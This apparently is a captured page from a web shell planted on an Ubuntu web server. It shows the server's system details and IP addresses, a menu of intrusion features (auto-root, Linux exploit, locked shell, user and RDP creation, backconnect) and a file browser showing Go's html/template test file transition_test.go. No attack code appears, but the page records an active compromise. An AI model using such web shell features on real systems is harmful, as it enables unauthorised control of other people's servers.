Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
html /
template /
[ HOME SHELL ]
Name
Size
Permission
Action
attr.go
6.24
KB
-rw-r--r--
attr_string.go
413
B
-rw-r--r--
clone_test.go
8
KB
-rw-r--r--
content.go
6.26
KB
-rw-r--r--
content_test.go
13.29
KB
-rw-r--r--
context.go
8.18
KB
-rw-r--r--
css.go
7
KB
-rw-r--r--
css_test.go
6.91
KB
-rw-r--r--
delim_string.go
416
B
-rw-r--r--
doc.go
7.67
KB
-rw-r--r--
element_string.go
445
B
-rw-r--r--
error.go
8.87
KB
-rw-r--r--
escape.go
29.05
KB
-rw-r--r--
escape_test.go
50.26
KB
-rw-r--r--
example_test.go
3.93
KB
-rw-r--r--
examplefiles_test.go
7.47
KB
-rw-r--r--
html.go
7.31
KB
-rw-r--r--
html_test.go
2.81
KB
-rw-r--r--
js.go
11.52
KB
-rw-r--r--
js_test.go
11.65
KB
-rw-r--r--
jsctx_string.go
387
B
-rw-r--r--
state_string.go
755
B
-rw-r--r--
template.go
15.85
KB
-rw-r--r--
template_test.go
4.55
KB
-rw-r--r--
transition.go
15.18
KB
-rw-r--r--
transition_test.go
1.71
KB
-rw-r--r--
url.go
6.7
KB
-rw-r--r--
url_test.go
3.88
KB
-rw-r--r--
urlpart_string.go
436
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : transition_test.go
// Copyright 2011 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package template import ( "bytes" "strings" "testing" ) func TestFindEndTag(t *testing.T) { tests := []struct { s, tag string want int }{ {"", "tag", -1}, {"hello </textarea> hello", "textarea", 6}, {"hello </TEXTarea> hello", "textarea", 6}, {"hello </textAREA>", "textarea", 6}, {"hello </textarea", "textareax", -1}, {"hello </textarea>", "tag", -1}, {"hello tag </textarea", "tag", -1}, {"hello </tag> </other> </textarea> <other>", "textarea", 22}, {"</textarea> <other>", "textarea", 0}, {"<div> </div> </TEXTAREA>", "textarea", 13}, {"<div> </div> </TEXTAREA\t>", "textarea", 13}, {"<div> </div> </TEXTAREA >", "textarea", 13}, {"<div> </div> </TEXTAREAfoo", "textarea", -1}, {"</TEXTAREAfoo </textarea>", "textarea", 14}, {"<</script >", "script", 1}, {"</script>", "textarea", -1}, } for _, test := range tests { if got := indexTagEnd([]byte(test.s), []byte(test.tag)); test.want != got { t.Errorf("%q/%q: want\n\t%d\nbut got\n\t%d", test.s, test.tag, test.want, got) } } } func BenchmarkTemplateSpecialTags(b *testing.B) { r := struct { Name, Gift string }{"Aunt Mildred", "bone china tea set"} h1 := "<textarea> Hello Hello Hello </textarea> " h2 := "<textarea> <p> Dear {{.Name}},\n{{with .Gift}}Thank you for the lovely {{.}}. {{end}}\nBest wishes. </p>\n</textarea>" html := strings.Repeat(h1, 100) + h2 + strings.Repeat(h1, 100) + h2 var buf bytes.Buffer for i := 0; i < b.N; i++ { tmpl := Must(New("foo").Parse(html)) if err := tmpl.Execute(&buf, r); err != nil { b.Fatal(err) } buf.Reset() } }
Close